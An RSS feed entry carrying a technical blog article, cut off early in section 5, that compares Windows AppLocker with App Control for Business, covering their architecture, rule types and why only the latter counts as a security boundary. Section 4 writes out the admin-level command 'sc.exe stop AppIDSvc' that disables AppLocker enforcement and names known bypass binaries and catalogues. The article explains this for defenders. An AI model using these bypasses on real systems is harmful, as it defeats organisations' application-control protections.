<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Parag Mali - tag: code-integrity</title><description>Posts tagged code-integrity.</description><link>https://paragmali.com/</link><language>en-US</language><lastBuildDate>Sun, 07 Jun 2026 04:13:10 GMT</lastBuildDate><atom:link href="https://paragmali.com/tags/code-integrity/rss.xml" rel="self" type="application/rss+xml"/><item><title>AppLocker vs App Control for Business: Two Locks on the Same Door, and Why Windows Still Ships Both in 2026</title><link>https://paragmali.com/blog/applocker-vs-app-control-for-business-two-locks-on-the-same-/</link><guid isPermaLink="true">https://paragmali.com/blog/applocker-vs-app-control-for-business-two-locks-on-the-same-/</guid><description>Windows 11 24H2 ships two parallel application-control systems. One is operational hygiene; the other is the security boundary. The line between them is a single sentence in MSRC servicing criteria.</description><pubDate>Mon, 01 Jun 2026 00:00:00 GMT</pubDate><content:encoded>
Windows ships two application-control systems in parallel in 2026: **AppLocker**, a per-user policy evaluator that lives in the user-mode Application Identity service, and **App Control for Business** (still widely called WDAC), a kernel policy evaluator built into `ci.dll`. Microsoft itself states that AppLocker *&quot;doesn&apos;t meet the servicing criteria for being a security feature&quot;* while App Control was *designed* as one under the MSRC servicing criteria. That single sentence explains why both still ship. AppLocker handles per-user policy on devices that have no code-signing PKI. App Control, with a signed policy and HVCI on, is the only configuration that survives an admin-equivalent attacker. This article walks the architecture of each, the structural ceilings of both, the role of ISG and the Recommended Block Rules, and the five-question decision tree for picking between them in 2026.
&lt;h2&gt;1. Two Locks on the Same Door&lt;/h2&gt;
&lt;p&gt;Sit down on a Windows 11 24H2 device in 2026. Open &lt;code&gt;gpedit.msc&lt;/code&gt;. Navigate to Computer Configuration -&amp;gt; Windows Settings -&amp;gt; Security Settings, and you will find a node called &lt;strong&gt;AppLocker&lt;/strong&gt;, with five rule collections waiting to be populated. Now walk one branch over to Computer Configuration -&amp;gt; Administrative Templates -&amp;gt; System -&amp;gt; &lt;strong&gt;Device Guard&lt;/strong&gt;. That node, despite the obsolete name in the GPO tree, is where you author policy for what Microsoft now calls &lt;strong&gt;App Control for Business&lt;/strong&gt; [@ms-appcontrol-applocker-overview] -- the same kernel-enforced application-control engine that has been renamed twice since launch (Configurable Code Integrity in 2015, Windows Defender Application Control in 2017, App Control for Business in 2024) [@ms-blog-introducing-wdac-2017] but never replaced.&lt;/p&gt;
&lt;p&gt;Two completely separate policy nodes. Two completely separate deployment surfaces. Two completely separate enforcement architectures. Both shipping in the same SKU on the same device in 2026. Both documented as currently supported on Microsoft Learn [@ms-appcontrol-applocker-overview]. Which one is &quot;the right one&quot;? The honest answer turns out to be &lt;em&gt;neither, and both,&lt;/em&gt; and the reason is a single sentence on a single Microsoft Learn page that draws a line between &lt;em&gt;security feature&lt;/em&gt; and &lt;em&gt;operational hygiene control&lt;/em&gt; sharper than most practitioners realise.&lt;/p&gt;

A policy mechanism that decides, at process-launch or image-load time, whether a given binary, script, or installer is allowed to execute on a Windows device. An application-control policy is an enumerated set of allow rules (an allowlist), deny rules (a blocklist), or both. The decision is made by an OS-resident evaluator before the binary&apos;s main entry point runs.
&lt;p&gt;Microsoft&apos;s own &lt;em&gt;App Control and AppLocker Overview&lt;/em&gt; page makes the line explicit. AppLocker [@ms-appcontrol-applocker-overview], in Microsoft&apos;s own words, &lt;em&gt;&quot;helps to prevent end-users from running unapproved software on their computers but doesn&apos;t meet the servicing criteria for being a security feature.&quot;&lt;/em&gt; App Control for Business, in contrast, was &lt;em&gt;&quot;designed as a security feature under the servicing criteria, defined by the Microsoft Security Response Center&quot;&lt;/em&gt; [@ms-appcontrol-applocker-overview]. The &lt;a href=&quot;https://paragmali.com/blog/windows-security-boundaries-the-document-that-decides-what-g/&quot; rel=&quot;noopener&quot;&gt;MSRC servicing criteria&lt;/a&gt; are not marketing copy. They are the rule that decides whether a defect in a Windows feature gets a CVE [@msrc-servicing-criteria]. AppLocker bypasses do not get CVEs. App Control bypasses, with the right configuration, do.&lt;/p&gt;

flowchart LR
    Root[&quot;Computer Configuration&quot;]
    Sec[&quot;Windows Settings&quot;]
    Adm[&quot;Administrative Templates&quot;]
    SecSet[&quot;Security Settings&quot;]
    Sys[&quot;System&quot;]
    AL[&quot;AppLocker node&lt;br /&gt;(user-mode AppIDSvc)&quot;]
    DG[&quot;Device Guard node&lt;br /&gt;(kernel ci.dll / App Control for Business)&quot;]
    Root --&amp;gt; Sec
    Root --&amp;gt; Adm
    Sec --&amp;gt; SecSet
    SecSet --&amp;gt; AL
    Adm --&amp;gt; Sys
    Sys --&amp;gt; DG
&lt;p&gt;The rest of this article pays off that one sentence. The first half walks the architecture of each system at the level of &lt;em&gt;who evaluates what, where in the operating system, and against which attacker&lt;/em&gt;. The second half makes the practitioner decision tractable: which one to deploy in 2026, what to pair it with, and what no allowlist of any generation can do.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; AppLocker and App Control for Business are not two generations of the same product. They are two different products solving two different problems. AppLocker is an operational hygiene control whose enforcement Microsoft itself disclaims as a security boundary. App Control for Business, when its policy is signed by the deploying organisation and HVCI is on, &lt;strong&gt;is&lt;/strong&gt; the security boundary. Both still ship because neither is a strict superset of the other.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If both are shipping and both are recommended in different Microsoft Learn pages, what exactly does each one &lt;em&gt;do&lt;/em&gt;? And why is the line between them drawn in Microsoft&apos;s &lt;em&gt;servicing criteria&lt;/em&gt; rather than in its feature inventory? To answer that, we have to start before either product existed.&lt;/p&gt;
&lt;h2&gt;2. Pre-History -- Why an OS Needs Application Control at All&lt;/h2&gt;
&lt;p&gt;The 1999-2001 macro-virus and worm era -- &lt;em&gt;ILOVEYOU&lt;/em&gt; [@cert-ca-2000-04-iloveyou], &lt;em&gt;Code Red&lt;/em&gt; [@cert-ca-2001-19-codered], &lt;em&gt;Nimda&lt;/em&gt; [@cert-ca-2001-26-nimda] -- made it unsurvivable for Windows to trust any binary the user had &lt;code&gt;Execute&lt;/code&gt; permission on. The default behaviour of a Windows desktop in that era was: if the bits are on disk and the user can read them, they run. There was no per-binary policy gate. The OS-level answer Microsoft shipped in October 2001 was &lt;strong&gt;Software Restriction Policies&lt;/strong&gt;, an XP RTM feature documented at length the following year by John Lambert at Virus Bulletin 2002 [@vb2002-srp].&lt;/p&gt;

The user-mode Windows API (`WinSafer*`) that SRP used to evaluate a candidate executable against the configured rule set. The SAFER evaluator returned one of three security levels -- `Disallowed`, `Basic User`, or `Unrestricted` -- on each `CreateProcess`. The decision lived entirely in user mode, in the same address space as the loader, which is the architectural defect AppLocker partially inherited and App Control later corrected.
&lt;p&gt;SRP supported five rule conditions [@ms-applocker-what-is]: &lt;strong&gt;hash, certificate, path, Internet zone, and registry path&lt;/strong&gt;. Each condition tested a candidate file against an administrator-authored allow or deny rule, returning a SAFER security level that the user-mode evaluator honoured at &lt;code&gt;CreateProcess&lt;/code&gt;. The model was right: a per-machine GPO-administered policy evaluated against a defined file taxonomy.&lt;/p&gt;

The Microsoft code-signing format that binds a publisher identity (an X.509 certificate chain) to a PE binary via a cryptographic signature embedded in the binary&apos;s optional header. Authenticode is the *plumbing* every Windows application-control system uses to answer the question &quot;who published this binary?&quot; -- but it cannot answer &quot;what will this binary do once it runs?&quot;. Authenticode mechanics are out of scope here; the companion Authenticode article covers them in full.
&lt;p&gt;But SRP&apos;s &lt;em&gt;management surface&lt;/em&gt; was a series of footguns. There were no per-user rules. There was no audit-only mode -- you authored a rule and immediately enforced it. There was no PowerShell module; configuration was an MMC snap-in click path. And the Internet-Zone rule was structurally fragile: it depended on the &lt;code&gt;Zone.Identifier&lt;/code&gt; Alternate Data Stream, which exists only on NTFS and which any user can strip with &lt;code&gt;streams.exe -d&lt;/code&gt;.The &lt;code&gt;Zone.Identifier&lt;/code&gt; ADS is also silently stripped by FAT and exFAT copies, by many archive formats during extraction, and by any process that rewrites the file. SRP&apos;s zone rule was therefore reliable only against the most casual download paths -- exactly the threat model SRP claimed to address. The structural reason AppLocker dropped Internet Zone as a rule condition in 2009 starts here.&lt;/p&gt;
&lt;p&gt;SRP is genealogy, not subject matter, for the rest of this article. Microsoft never formally deprecated it, but practitioners abandoned it within a year of AppLocker&apos;s 2009 release, and Microsoft Learn now points anyone arriving at the SRP page toward AppLocker or App Control. The three operational defects -- no per-user, no audit, no PowerShell -- sketch the brief that the AppLocker team would inherit. What did Microsoft actually ship in 2009, and where did its designers draw the line between &lt;em&gt;manageability&lt;/em&gt; and &lt;em&gt;security&lt;/em&gt;?&lt;/p&gt;

flowchart TD
    SRP[&quot;2001 -- Software Restriction Policies&lt;br /&gt;(Windows XP RTM)&lt;br /&gt;user-mode SAFER API&quot;]
    AL[&quot;2009 -- AppLocker&lt;br /&gt;(Windows 7 / Server 2008 R2)&lt;br /&gt;user-mode AppIDSvc + AppID.sys minifilter&quot;]
    CCI[&quot;2015 -- Configurable Code Integrity&lt;br /&gt;(Windows 10 1507, under Device Guard umbrella)&lt;br /&gt;kernel ci.dll&quot;]
    WDAC[&quot;2017 -- Windows Defender Application Control&lt;br /&gt;(Windows 10 1709)&lt;br /&gt;same kernel ci.dll, new brand&quot;]
    ACfB[&quot;2024 -- App Control for Business&lt;br /&gt;(Windows 11 24H2 / Server 2025)&lt;br /&gt;same kernel ci.dll, third brand&quot;]
    Now[&quot;2026 -- both AppLocker and App Control for Business ship in the same SKU&quot;]
    SRP -- effectively orphaned --&amp;gt; AL
    AL -- peer mechanism added, not replaced --&amp;gt; CCI
    CCI -- renamed --&amp;gt; WDAC
    WDAC -- renamed --&amp;gt; ACfB
    AL -- still ships --&amp;gt; Now
    ACfB -- still ships --&amp;gt; Now
&lt;h2&gt;3. AppLocker (2009) -- The Architecture Microsoft Documents&lt;/h2&gt;
&lt;p&gt;October 22, 2009. AppLocker ships in Windows 7 Enterprise / Ultimate and in Windows Server 2008 R2 [@ms-lifecycle-windows7] [@ms-lifecycle-server-2008-r2]. What did Microsoft actually build, exactly as Microsoft Learn documents it?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Five rule collections&lt;/strong&gt; [@ms-applocker-rules]:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Executable&lt;/strong&gt; -- &lt;code&gt;.exe&lt;/code&gt;, &lt;code&gt;.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DLL&lt;/strong&gt; -- &lt;code&gt;.dll&lt;/code&gt;, &lt;code&gt;.ocx&lt;/code&gt; (off by default; opt-in for performance reasons)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Script&lt;/strong&gt; -- &lt;code&gt;.ps1&lt;/code&gt;, &lt;code&gt;.vbs&lt;/code&gt;, &lt;code&gt;.js&lt;/code&gt;, &lt;code&gt;.bat&lt;/code&gt;, &lt;code&gt;.cmd&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Windows Installer&lt;/strong&gt; -- &lt;code&gt;.msi&lt;/code&gt;, &lt;code&gt;.msp&lt;/code&gt;, &lt;code&gt;.mst&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Packaged App&lt;/strong&gt; -- &lt;code&gt;.appx&lt;/code&gt;, &lt;code&gt;.msix&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The script collection&apos;s inclusion of &lt;code&gt;.bat&lt;/code&gt; and &lt;code&gt;.cmd&lt;/code&gt; is a coverage detail that survives into 2026 as one of the few capabilities AppLocker has and App Control does not [@ms-appcontrol-feature-availability]. Hold that thought; it returns in section 10.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Three rule conditions&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Publisher&lt;/strong&gt; -- the &lt;a href=&quot;https://paragmali.com/blog/authenticode-and-catalog-files-the-crypto-foundation-under-w/&quot; rel=&quot;noopener&quot;&gt;Authenticode&lt;/a&gt; subject name, product name, file name, and minimum file version. The load-bearing usability win over SRP: a single Publisher rule for &lt;em&gt;&quot;binaries signed by Microsoft Corporation with product &lt;code&gt;Office&lt;/code&gt;, version 16.0 or higher&quot;&lt;/em&gt; survives every patch the vendor ships.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Path&lt;/strong&gt; -- with environment-variable and wildcard support (&lt;code&gt;%ProgramFiles%\Contoso\*.exe&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;File Hash&lt;/strong&gt; -- the SHA-256 of the binary. Stable but brittle; one update breaks the rule.&lt;/li&gt;
&lt;/ol&gt;

An AppLocker (or App Control) rule that allows or denies execution based on the Authenticode signer subject, the file&apos;s signed metadata (Original Filename, Product Name), and an optional minimum version. The publisher gate trusts the certificate authority&apos;s binding of signer name to private key; it does not evaluate what the signed code will do at runtime. The structural limit of any publisher-gate allowlist is that signed code can be made to load and execute attacker-controlled data -- this is what the Microsoft Recommended Block Rules in section 8 enumerate.
&lt;p&gt;AppLocker also added the three management capabilities SRP lacked: &lt;strong&gt;per-user / per-group rule assignment&lt;/strong&gt; via the AppLocker PowerShell module (&lt;code&gt;Get-AppLockerPolicy&lt;/code&gt;, &lt;code&gt;Set-AppLockerPolicy&lt;/code&gt;, &lt;code&gt;Test-AppLockerPolicy&lt;/code&gt;, &lt;code&gt;New-AppLockerPolicy&lt;/code&gt;), &lt;strong&gt;audit-only mode&lt;/strong&gt; that logs would-be denials without enforcing them, and a real GPO editor experience under Security Settings. The per-user capability is still, in 2026, the operational reason AppLocker has not gone away [@ms-appcontrol-feature-availability]; we will return to that in section 11.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The architecture is the part most readers underestimate.&lt;/strong&gt; AppLocker is a &lt;em&gt;kernel-mode minifilter that asks a user-mode service for the verdict.&lt;/em&gt; Microsoft&apos;s &lt;em&gt;AppLocker Architecture and Components&lt;/em&gt; page documents the user-mode side at the service-and-callback level [@ms-applocker-architecture]: the &lt;em&gt;policy decision&lt;/em&gt; is deferred to the user-mode &lt;strong&gt;Application Identity service&lt;/strong&gt; (&lt;code&gt;AppIDSvc&lt;/code&gt;) running as &lt;code&gt;LocalService&lt;/code&gt;, which evaluates policy via &lt;code&gt;SeAccessCheckWithSecurityAttributes&lt;/code&gt; or &lt;code&gt;AuthzAccessCheck&lt;/code&gt; against the calling user&apos;s group memberships, with interception points at process create, DLL load, and script run. The kernel-side component is the &lt;code&gt;AppId.sys&lt;/code&gt; minifilter shipped in &lt;code&gt;%SystemRoot%\System32\drivers\&lt;/code&gt;; it issues the callbacks at process creation, optional DLL load, script-host invocation, MSI execution, and packaged-app activation, and the kernel honours the verdict the service returns.&lt;/p&gt;

The Windows service that evaluates AppLocker rules. Runs as `LocalService` under a service host process. The kernel minifilter `AppID.sys` collects the candidate file&apos;s metadata at the relevant lifecycle hook (process create, image load, script host start) and waits for `AppIDSvc` to return an access decision derived from the active AppLocker policy and the calling user&apos;s token. Stopping `AppIDSvc` stops AppLocker enforcement -- this is the architectural fact the next section turns on.

sequenceDiagram
    participant U as User
    participant K as Kernel (CreateProcess)
    participant Min as AppID.sys minifilter
    participant Svc as AppIDSvc (user mode)
    participant Pol as Active AppLocker policy
    U-&amp;gt;&amp;gt;K: CreateProcess foo.exe
    K-&amp;gt;&amp;gt;Min: process-create callback
    Min-&amp;gt;&amp;gt;Svc: query verdict for foo.exe and caller token
    Svc-&amp;gt;&amp;gt;Pol: AuthzAccessCheck against publisher / path / hash rules
    Pol--&amp;gt;&amp;gt;Svc: allow or deny
    Svc--&amp;gt;&amp;gt;Min: verdict
    Min--&amp;gt;&amp;gt;K: honour verdict
    K--&amp;gt;&amp;gt;U: process starts or STATUS_ACCESS_DENIED
&lt;p&gt;The five-by-three matrix below is the policy surface a practitioner authors against:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Collection / Condition&lt;/th&gt;
&lt;th&gt;Publisher&lt;/th&gt;
&lt;th&gt;Path&lt;/th&gt;
&lt;th&gt;File Hash&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Executable (&lt;code&gt;.exe&lt;/code&gt;, &lt;code&gt;.com&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DLL (&lt;code&gt;.dll&lt;/code&gt;, &lt;code&gt;.ocx&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Script (&lt;code&gt;.ps1&lt;/code&gt;, &lt;code&gt;.vbs&lt;/code&gt;, &lt;code&gt;.js&lt;/code&gt;, &lt;code&gt;.bat&lt;/code&gt;, &lt;code&gt;.cmd&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Windows Installer (&lt;code&gt;.msi&lt;/code&gt;, &lt;code&gt;.msp&lt;/code&gt;, &lt;code&gt;.mst&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Packaged App (&lt;code&gt;.appx&lt;/code&gt;, &lt;code&gt;.msix&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;yes (publisher only)&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The DLL collection is off by default for a reason Microsoft Learn warns about plainly [@ms-applocker-rules]: &lt;em&gt;&quot;When DLL rules are used, AppLocker must check each DLL that an application loads. Therefore, users may experience a reduction in performance if DLL rules are used.&quot;&lt;/em&gt; That cost is paid for every load of every DLL by every running process; on a workstation that loads thousands of DLLs at boot it is observable in startup time. The Packaged App collection is publisher-only because the Universal Windows Platform packaging format always carries an Authenticode signature.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The most common misattribution in the AppLocker literature is the conflation of &lt;em&gt;AaronLocker&lt;/em&gt; with the AppLocker &lt;em&gt;bypass corpus&lt;/em&gt;. AaronLocker [@github-aaronlocker] is &lt;strong&gt;Aaron Margosis&apos;s deployment tool&lt;/strong&gt; -- a PowerShell-based generator that authors thorough audit and enforce policies. The canonical AppLocker &lt;em&gt;bypass&lt;/em&gt; catalogue is Oddvar Moe&apos;s &lt;code&gt;UltimateAppLockerByPassList&lt;/code&gt; [@github-ultimateapplockerbypass]. The canonical App Control bypass catalogue is Jimmy Bayne&apos;s &lt;code&gt;UltimateWDACBypassList&lt;/code&gt; [@github-ultimatewdacbypass]. Three different artefacts, three different authors, three different purposes.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;AppLocker&apos;s design is admirable. It fixed every operational defect of SRP, it shipped per-user rules a decade before App Control&apos;s kernel evaluator caught up, and its PowerShell module is still the most ergonomic Windows application-control authoring surface in 2026. But notice one thing about that sequence diagram: the policy decision lives in a user-mode service. What happens to enforcement if the attacker is running as &lt;code&gt;SYSTEM&lt;/code&gt;?&lt;/p&gt;
&lt;h2&gt;4. AppLocker&apos;s Structural Limit -- Why It Was Never a Security Boundary&lt;/h2&gt;
&lt;p&gt;A single PowerShell line. &lt;code&gt;sc.exe stop AppIDSvc&lt;/code&gt; from a &lt;code&gt;LocalSystem&lt;/code&gt; context -- the canonical first-step bypass catalogued in &lt;code&gt;UltimateAppLockerByPassList&lt;/code&gt; [@github-ultimateapplockerbypass] and reproduced in Oddvar Moe&apos;s December 2017 case study [@oddvarmoe-applocker-case-study; @oddvarmoe-applocker-case-study-part2]. Enforcement degrades until the next reboot. Is that a &lt;em&gt;bug&lt;/em&gt;?&lt;/p&gt;
&lt;p&gt;It is not. It is the &lt;em&gt;design&lt;/em&gt;. And three converging pieces of evidence -- Microsoft&apos;s own words, the documented architecture, and the public bypass record -- agree on the scope.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Microsoft&apos;s own servicing-criteria language.&lt;/strong&gt; The &lt;em&gt;App Control and AppLocker Overview&lt;/em&gt; page says, verbatim [@ms-appcontrol-applocker-overview]: &lt;em&gt;&quot;AppLocker helps to prevent end-users from running unapproved software on their computers, but it doesn&apos;t meet the servicing criteria for being a security feature.&quot;&lt;/em&gt; The MSRC &lt;em&gt;Windows Security Servicing Criteria&lt;/em&gt; document [@msrc-servicing-criteria] is the rule the MSRC uses to decide whether a defect in a Windows feature qualifies for a CVE. Defects in a &lt;em&gt;security boundary&lt;/em&gt; receive CVEs and a coordinated patch. Defects in a &lt;em&gt;defense-in-depth&lt;/em&gt; feature may not -- they are documented and, when convenient, fixed, but Microsoft does not promise that every bypass will be treated as a vulnerability. AppLocker is the second category. App Control, when configured to qualify, is the first.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. The user-mode &lt;code&gt;AppIDSvc&lt;/code&gt; architecture is the proximate reason.&lt;/strong&gt; Restate the section-3 diagram: the kernel minifilter &lt;code&gt;AppID.sys&lt;/code&gt; collects the file metadata, but the verdict is returned by &lt;code&gt;AppIDSvc&lt;/code&gt; running in user mode as &lt;code&gt;LocalService&lt;/code&gt;. Any process running as &lt;code&gt;LocalSystem&lt;/code&gt; or with administrator privilege can stop &lt;code&gt;AppIDSvc&lt;/code&gt;. Stopping the service does not just &lt;em&gt;bypass&lt;/em&gt; a rule; it removes the evaluator that the kernel was waiting for. The Microsoft Learn architecture page describes the evaluation surface explicitly [@ms-applocker-architecture]: &lt;em&gt;&quot;AppLocker policies are conditional access control entries (ACEs), and policies are evaluated by using the attribute-based access control SeAccessCheckWithSecurityAttributes or AuthzAccessCheck functions.&quot;&lt;/em&gt; &lt;code&gt;AuthzAccessCheck&lt;/code&gt; is a user-mode Authz API; the evaluation chain ends in a process that an admin can stop.&lt;/p&gt;

The MSRC servicing criteria classify Windows features into *security boundaries* (a violation produces a CVE, fixes are released on Patch Tuesday or out-of-band), *security features* designed against a defined threat model (violations may or may not get CVEs depending on the threat model), and *defense-in-depth* measures (no servicing commitment beyond best effort). AppLocker is explicitly placed in the third class on the *App Control and AppLocker Overview* page [@ms-appcontrol-applocker-overview]. App Control with a signed policy and HVCI on is treated as a security feature whose threat model includes an admin-equivalent attacker -- and that is the precise condition under which an App Control bypass is treated as a CVE-class defect.
&lt;p&gt;&lt;strong&gt;3. The published bypass corpora.&lt;/strong&gt; Oddvar Moe&apos;s &lt;code&gt;UltimateAppLockerByPassList&lt;/code&gt; [@github-ultimateapplockerbypass] catalogues &lt;code&gt;rundll32.exe&lt;/code&gt;, &lt;code&gt;regsvr32.exe&lt;/code&gt;, &lt;code&gt;mshta.exe&lt;/code&gt;, &lt;code&gt;installutil.exe&lt;/code&gt;, &lt;code&gt;msbuild.exe&lt;/code&gt;, and a long list of others, each documented to bypass the &lt;em&gt;default&lt;/em&gt; AppLocker rule set without administrator privileges. Moe&apos;s December 2017 case study [@oddvarmoe-applocker-case-study] paired a defined test environment (Windows 10 1703 Enterprise with the default AppLocker rules applied and no third-party software) against a defined adversary capability (an unprivileged interactive user) and demonstrated fourteen distinct bypass techniques. That made &lt;em&gt;&quot;AppLocker is bypassable in practice without admin&quot;&lt;/em&gt; an empirical claim, not a theoretical one.&lt;/p&gt;
&lt;p&gt;And -- this is the part that closes the argument -- the &lt;strong&gt;Microsoft-org-hosted AaronLocker README&lt;/strong&gt; [@github-aaronlocker] states the same scope plainly: &lt;em&gt;&quot;AaronLocker does not try to stop administrative users from running anything they want -- and application control solutions cannot meaningfully restrict administrative actions anyway. A determined user with administrative rights can bypass any application control solution.&quot;&lt;/em&gt; The bypass community and the Microsoft-employee-maintained deployment baseline agree.&lt;/p&gt;
&lt;p&gt;This is the article&apos;s first reorientation. The convergence of the Microsoft servicing-criteria language, the kernel-defers-to-user-mode architecture, and the published bypass record is not three independent observations; it is one observation viewed from three angles. AppLocker is a hygiene control. The bypassability against an admin-equivalent attacker is a &lt;em&gt;scope statement&lt;/em&gt;, not a defect. The misconception that AppLocker was ever supposed to defend against an attacker with &lt;code&gt;SYSTEM&lt;/code&gt; lives in the reader, not in the product.&lt;/p&gt;
&lt;p&gt;The three pieces of evidence, tabulated:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Evidence&lt;/th&gt;
&lt;th&gt;Source&lt;/th&gt;
&lt;th&gt;What it establishes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;MSRC servicing-criteria language&lt;/td&gt;
&lt;td&gt;Microsoft Learn &lt;em&gt;App Control and AppLocker Overview&lt;/em&gt; [@ms-appcontrol-applocker-overview]&lt;/td&gt;
&lt;td&gt;AppLocker is not a security feature under MSRC criteria&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;User-mode &lt;code&gt;AppIDSvc&lt;/code&gt; architecture&lt;/td&gt;
&lt;td&gt;Microsoft Learn &lt;em&gt;AppLocker Architecture and Components&lt;/em&gt; [@ms-applocker-architecture]&lt;/td&gt;
&lt;td&gt;A &lt;code&gt;LocalSystem&lt;/code&gt; or admin attacker can stop the evaluator&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Public bypass corpora&lt;/td&gt;
&lt;td&gt;Oddvar Moe &lt;code&gt;UltimateAppLockerByPassList&lt;/code&gt; [@github-ultimateapplockerbypass]; Moe 2017 case study [@oddvarmoe-applocker-case-study]&lt;/td&gt;
&lt;td&gt;Demonstrated bypasses without admin against default rules&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft-org-hosted deployment baseline&lt;/td&gt;
&lt;td&gt;AaronLocker README, Aaron Margosis [@github-aaronlocker]&lt;/td&gt;
&lt;td&gt;Microsoft-employee-maintained tool states the scope identically&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;{`
// Pseudocode walk of what happens when an admin or LocalSystem process
// stops AppIDSvc. The actual demonstration requires admin on a Windows
// host; this is the logic the kernel minifilter follows.&lt;/p&gt;
&lt;p&gt;function onProcessCreate(candidateExe, callerToken) {
  const svc = queryService(&apos;AppIDSvc&apos;);
  if (svc.state !== &apos;Running&apos;) {
    // No evaluator. The minifilter cannot block on the verdict
    // because the verdict source is gone. Enforcement degrades.
    return ALLOW;
  }
  const verdict = svc.evaluate(candidateExe, callerToken);
  return verdict; // honoured by the kernel as ALLOW or DENY
}&lt;/p&gt;
&lt;p&gt;// After: sc.exe stop AppIDSvc  (requires admin / SYSTEM)
//   queryService(&apos;AppIDSvc&apos;).state === &apos;Stopped&apos;
//   onProcessCreate(...) returns ALLOW for every candidate
//   until AppIDSvc restarts (typically next reboot)
`}&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; AppLocker prevents non-admin end users from running unapproved software. That is the entire mission statement, and Microsoft says it directly. It is not a &lt;em&gt;weakness&lt;/em&gt; of AppLocker that an attacker with administrative rights can bypass it; that is &lt;em&gt;outside the threat model the product was designed against&lt;/em&gt;. The right question to ask of AppLocker is not &quot;is it secure?&quot; but &quot;is the threat model it addresses the threat model I need to address?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If AppLocker cannot defend against an admin-equivalent attacker &lt;em&gt;by design&lt;/em&gt;, and that became obvious inside Microsoft by the early 2010s, the question is no longer &quot;why is AppLocker not enough?&quot; It is: &lt;em&gt;what would a Windows application-control system designed against an admin-equivalent attacker actually look like?&lt;/em&gt; Microsoft answered that question with Windows 10.&lt;/p&gt;
&lt;h2&gt;5. The Generational Pivot -- Configurable Code Integrity, WDAC, App Control for Business&lt;/h2&gt;
&lt;p&gt;With Windows 10, Microsoft introduces Device Guard. The framing in the official October 2017 retrospective is unusually candid for a Microsoft product communication: &lt;em&gt;&quot;With Windows 10 we introduced Windows Defender Device Guard&quot;&lt;/em&gt; -- and the new mechanism&apos;s &lt;em&gt;value proposition&lt;/em&gt;, the retrospective explains, is that its enforcement does not depend on a user-mode service an administrator can turn off [@ms-blog-introducing-wdac-2017]. Where AppLocker&apos;s &lt;code&gt;AppIDSvc&lt;/code&gt; evaluator can be stopped from a &lt;code&gt;LocalSystem&lt;/code&gt; shell, the new mechanism&apos;s evaluator lives in the kernel and validates its policy file cryptographically. Microsoft was not hiding what changed. Microsoft was announcing what changed.&lt;/p&gt;
